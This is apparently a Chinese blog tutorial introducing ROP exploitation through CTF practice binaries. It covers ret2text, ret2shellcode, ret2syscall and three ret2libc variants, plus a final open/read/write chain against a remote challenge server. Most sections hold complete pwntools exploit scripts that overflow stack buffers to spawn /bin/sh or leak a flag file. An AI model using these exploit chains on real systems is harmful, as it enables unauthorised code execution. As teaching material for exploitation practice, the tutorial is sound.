ROP入门

本文最后更新于:2024年1月25日 晚上

基本工具

pwndbg

1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

checksec

1
2
3
git clone https://github.com/slimm609/checksec.sh

sudo ln -sf ~/checksec.sh/checksec /usr/local/bin/checksec

pwntools

1
2
3
sudo apt install python3-pip

python3 -m pip install pwntools

ROPgadget

1
2
3
4
5
6
7
8
9
10
git clone https://github.com/JonathanSalwan/ROPgadget.git

cd ROPgadget

sudo python setup.py install

# 遇到报错
pkg_resources.ResolutionError: Script 'scripts/ROPgadget' not found in metadata at '/home/philo/.local/lib/python3.8/site-packages/ROPGadget-7.3.dist-info'

$ sudo cp -r /home/philo/.local/lib/python3.8/site-packages/ROPGadget-7.3.dist-info

LibcSearcher

1
2
3
4
5
git clone https://github.com/lieanu/LibcSearcher.git

cd LibcSearcher

python setup.py develop # 如果权限不够加个sudo

tldr

  • 如果有system(/bin/sh) 代码可以直接覆盖返回地址跳转,从而得到shell
  • 使用asm(shellcraft.sh())自行构造shellcode,将返回地址修改为可以执行的bss段的代码
  • 使用ROPgadget命令去找到gadget进行组合,利用pop+ret的机制对寄存器进行赋值,从而触发execve("/bin/sh",NULL,NULL)

ret2text

ret2text指控制程序执行程序本身已有的的代码 (.text)

checksec一下

1
2
3
~> checksec  --file=ret2text
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 83 Symbols No 0 2 ret2text

f5,发现由于main函数中调用了gets函数,因此存在缓冲区溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}

使用alt+t查找字符串,发现有system(/bin/sh),因此可以使用ret2text的方式获得shell,将返回地址直接修改为0804863A即可

1
2
3
4
.rodata:08048763 command         db '/bin/sh',0          ; DATA XREF: secure+3D↑o

.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system

不小心关闭了窗口,想恢复可以点击Window-》reset desktop

gets函数被调用时写入字符串aaaaa,观察可以发现缓冲区的起始地址,为$esp+0x1c,也即是0xffffd2ec

下断点的几种方式:

  • b *main+4
  • b *0xffff1234
  • b func_name

$ebp-$esp-0x1c+4就是缓冲区起始地址相对于返回地址的偏移

1
2
3
4
5
6
7
##!/usr/bin/python3
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c+4) + p32(target))
sh.interactive()
1
2
3
4
5
6
Traceback (most recent call last):
File "payload.py", line 6, in <module>
sh.sendline('A' * (0x6c+4) + p32(target))
TypeError: can only concatenate str (not "bytes") to str

需要使用b'A'而不是'A'

ret2shellcode

1
2
3
4
5
6
~> file ret2shellcode
ret2shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=47e6d638fe0f3a3ff4695edb8b6c7e83461df949, with debug_info, not stripped

~> checksec --file=ret2shellcode
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 79 Symbols No 0 3 ret2shellcode

与上一题不同,此次没有system(/bin/sh)可以直接跳转,需要我们自己构造shellcode

  • 我们输入的字符串会被复制到buf2(在bss段),可以使用vmmap命令查看这段地址是不是可执行的,如果可以执行,那么就将返回地址覆盖为buf2的地址
  • 使用gdb查看gets函数被调用时的栈帧情况,发现缓冲区在esp+0x1c的地方
1
2
3
lea     eax, [esp+0x1c]
mov [esp], eax ; s
call _gets

注意line9

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;

构造exp

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh()) #生成shellcode
buf2_addr = 0x804a080 #将返回地址覆盖为buf2的地址

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) #将shellcode不足112的部分用A填充,并且左对齐
sh.interactive()

看一下填充的字符串

1
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08'

ret2syscall

需要触发execve系统调用来获取 shell,也即是执行代码:execve("/bin/sh",NULL,NULL)

1
int execve(const char *filename, char *const argv[], char *const envp[]);

对于32位程序,传参从左往右依次是: EBX、ECX、EDX、ESI、EDI、EBP,EAX寄存器存放系统调用号

对于64位程序,传参从左往右依次是: RDI、RSI、RDX、R10、R8、R9 ,,RAX寄存器存放系统调用号

在规划好寄存器之后,需要执行int 0x80命令去触发系统调用

因此,为了执行上面代码,我们需要让寄存器满足:

  • eax 保存 0xb (execve函数的系统调用号)
  • ebx 保存字符串“/bin/sh”的地址(const char *filename)
  • ecx 为0(char *const argv[])
  • edx为0(char *const envp[])

因此我们需要构造rop gadgets

  • EBP 0xffffd328
  • ESP 0xffffd2a0
  • 缓冲区在esp上面0x1c的位置
  • $EBP-$ESP-0x1c+4是偏移

寻找一些gadges:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
~> ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret #pop_edx_ecx_ebx_ret

~> ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

~> ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

~> ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

0x080bb196 : pop eax ; ret

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc1

1
2
3
4
5
6
~$ checksec --file=ret2libc1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84 Symbols No 0 1 ret2libc1

$ file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped

源码

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

由于gets函数的存在,存在缓冲区溢出漏洞

找一下sh字符串

1
2
3
4
~> ROPgadget --binary ret2libc1 --string "/bin/sh"
Strings information
============================================================
0x08048720 : /bin/sh

可以找到system函数

1
2
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system proc near

payload:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

由于ret(也即是pop eip)的存在,system函数上面+8地址处才是真正的system函数的参数,因此+4地址处需要4字节的填充

ret2libc2

1
2
3
4
5
6
~> checksec  --file=ret2libc2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84 Symbols No 0 2 ret2libc2

~> file ret2libc2
ret2libc2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83535a471d9ef90c3d5ff7f077944fb6021787a1, with debug_info, not stripped
1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}

可以看到有system函数

1
_system	.plt	08048490	00000006	00000000	00000004	R	.	.	.	.	.	T	.

但是这道题没有现成的/bin/sh字符串,因此我们需要把/bin/sh写到.bss段里面。看一下.bss段

1
2
3
4
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
.bss:0804A080 _bss ends
.bss:0804A080

我们可以把返回地址写成gets函数,手动输入/bin/sh字符串,达到将/bin/sh写入到.bss段的目的,之后触发system(/bin/sh)即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

#ida得到地址
gets_plt=0x08048460
binsh_addr = 0x0804A080
system_plt = 0x08048490

#gdb调一下得到112偏移
payload = flat(['a' * 112, gets_plt,system_plt,binsh_addr,binsh_addr])
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()

ret2libc3

1
2
3
4
5
6
7
~> pwn checksec ./ret2libc3
[*] '/home/philo/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

got、plt、链接

这里需要补充关于链接的知识

动态链接的程序,不会再在编译时得到printf的地址。原因很简单,libc有可能升级或者改变版本版本(比如换了别的主机运行不同的libc版本),因此不能硬编码库函数地址;此外,由于 ASLR 的现代系统在每次程序调用的不同位置加载库,硬编码也是不可以的,我们可以使用ldd命令查看动态链接的程序的libc的地址,ldd 命令模拟加载可执行程序需要的动态链接库,但并不执行程序,后面的地址部分表示模拟装载过程中动态链接库的地址。如果尝试多次运行 ldd 命令,我们会发现每次动态链接库的地址都是不一样的,因为这个地址是动态定位的

Linux的策略是,允许在程序运行时查找所有这些地址,并提供一种从库调用这些函数的机制,这就是所谓的重定位,这个过程由链接器完成

下面是链接期间有关的段,在ida中可以使用shift+f7查找段的地址

说明
.pltProcedure Linkage Table) 过程链接表
.gotGlobal Offset Table 全局偏移表,链接器为外部符号填充的实际偏移表
.got.plt 属于got表
.plt.got 只是为了对称,无意义

routine:

  • 1.调用libc函数,比如gets函数,call _puts
  • 2.进入plt表,jmp到got表,由于懒加载机制,第一次不会得到真实地址,而是进入到got表之后重新回到plt表,如果不是第一次那么会直接跳转到已经解析的地址处
  • 3.push func_id、jmp common进入公共plt,再次进入got表
  • 4.跳转到_dl_runtime_resolve函数,进行地址解析、重定位
  • 5.将真实地址写入got表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:08048672                 call    _puts

# puts@plt

.plt:08048460 jmp ds:off_804A018 # 这个地址第一次不会被解析
.plt:08048460 _puts endp
.plt:08048460
.plt:08048466 ; ---------------------------------------------------------------------------
.plt:08048466 push 18h
.plt:0804846B jmp sub_8048420

# sub_8048420

.plt:08048420 push ds:dword_804A004
.plt:08048426 jmp ds:dword_804A008

.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048420↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048420+6↑r

思路

与上道题不同的是,这道题没有system函数,也没有/bin/sh字符串,因此我们需要得到libc的地址,并在libc中找到system和sh字符串

分析:

  • 利用got表泄露,得到puts函数的地址
  • 由于libc内的函数最低12位不随着libc库版本的改变而改变,因此只要得到puts函数的地址,就可以得到libc的版本
  • 由于libc内的函数的相对偏移不随着libc库版本的改变而改变,因此只要得到puts函数的地址,就可以得到其余函数的地址(比如system函数、sh字符串)

利用LibcSearcher,可以很方便的达到目的

程序开始执行,在遇到gets函数的时候,我们需要修改返回地址使得可以返回到main函数,同时调用puts函数,且将puts_got的值输出,从而得到libc版本

在得到puts_got之后,返回到main执行,这时候会再次回到gets函数的所在位置,我们需要观察栈帧,得到造成缓冲区溢出的偏移

第一次的偏移好算,直接gdb到gets的调用即可,为112,但是第二次比较麻烦,我们需要在使用pwntools的同时进行gdb调试。注意调试的时候在py文件中gdb.attach(sh)的位置要放对

可以看到下面第二次调用gets函数时的堆栈值

这里遇到了报错:LibcSearcher找不到合适libc,需要更新一下

1
2
3
4
5
cd LibcSearcher
rm -rf libc-database/ # 删掉旧的
git clone https://github.com/niklasb/libc-database
cd libc-database
./get # 获取新的

注意到如果想在pwntools中使用tmux的话,需要先在命令行输入tmux,等进入tmux中再输入payload.py

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python3

from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
# 0xffffd308-0xffffd280-0x1c+4=112
payload = b'a' * (112) + p32(puts_plt) + p32(main) + p32(puts_got)

gdb.attach(sh)

sh.sendlineafter("Can you find it !?", payload)

puts_addr = u32(sh.recv(4)) #  get puts addr
libc = LibcSearcher('puts', puts_addr) #  search libc

libc_base = puts_addr - libc.dump('puts') #  get libc base
system_addr = libc_base + libc.dump('system') #  get system addr
binsh_addr = libc_base + libc.dump('str_bin_sh') #  get /bin/sh addr

#gdb.attach(sh)
#104 is offset and is hard to get
payload = b'a' * (104) + p32(system_addr) + p32(0xaaaa) + p32(binsh_addr)
sh.sendlineafter("Can you find it !?", payload)

sh.interactive()

ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import time
context.arch = 'amd64'

context.log_level = 'debug'
#p = process('./rop')
p = remote('124.16.75.116',52017)

elf=ELF('./rop')
bss=0x404130
puts_plt=0x4010d0
read_plt=0x401100 #elf.plt['read']
sys_open=0x4012c9
#ROPgadget --binary rop --only 'pop|ret' | grep 'rdi'
#0x0000000000401503 : pop rdi ; ret
#0x0000000000401501 : pop rsi ; pop r15 ; ret
#0x000000000040101a : ret
#flag

#flag{8ac4f835-a613-46ff-8c86-4c2428c24982}
pop_rdi=0x0000000000401503
pop_rsi=0x0000000000401501
vul=0x401384
ret=0x000000000040101a

p.recvuntil('your choice:')
p.sendline('4919')

print(hex(bss))
#read(0,bss,0x100) 把./flag字符串读到bss:0x404130;使用open打开bss中的字符串,即打开./flag文件;read读取flag文件内容到bss+0x20处,使用write输出bss+0x20处的内容,即输出flag文件内容;
payload='a'*0x100+p64(0)+p64(ret)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(0)+p64(read_plt) # rdi = 0 , rsi = bss_addr , read(0,addr,?)

payload+=p64(vul)

p.send(payload)

p.send('./flag') # read: './flag' to bss_addr

payload='a'*0x100+p64(0)+p64(ret)
payload+=p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(0)+p64(sys_open)+p64(vul) # open flag file


#gdb.attach(p)
#pause()

p.send(payload)

payload='a'*0x100+p64(0)+p64(ret)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x20)+p64(0)+p64(read_plt) # read flag content to bss+0x20
payload+=p64(vul)


p.send(payload)
time.sleep(1)

payload='a'*0x100+p64(0)+p64(ret)
payload+=p64(pop_rdi)+p64(bss+0x20)+p64(puts_plt)
p.send(payload)


#gdb.attach(p)
#pause()
p.interactive()

参考


ROP入门
http://gls.show/p/6cc1c464/
作者
郭佳明
发布于
2024年1月25日
许可协议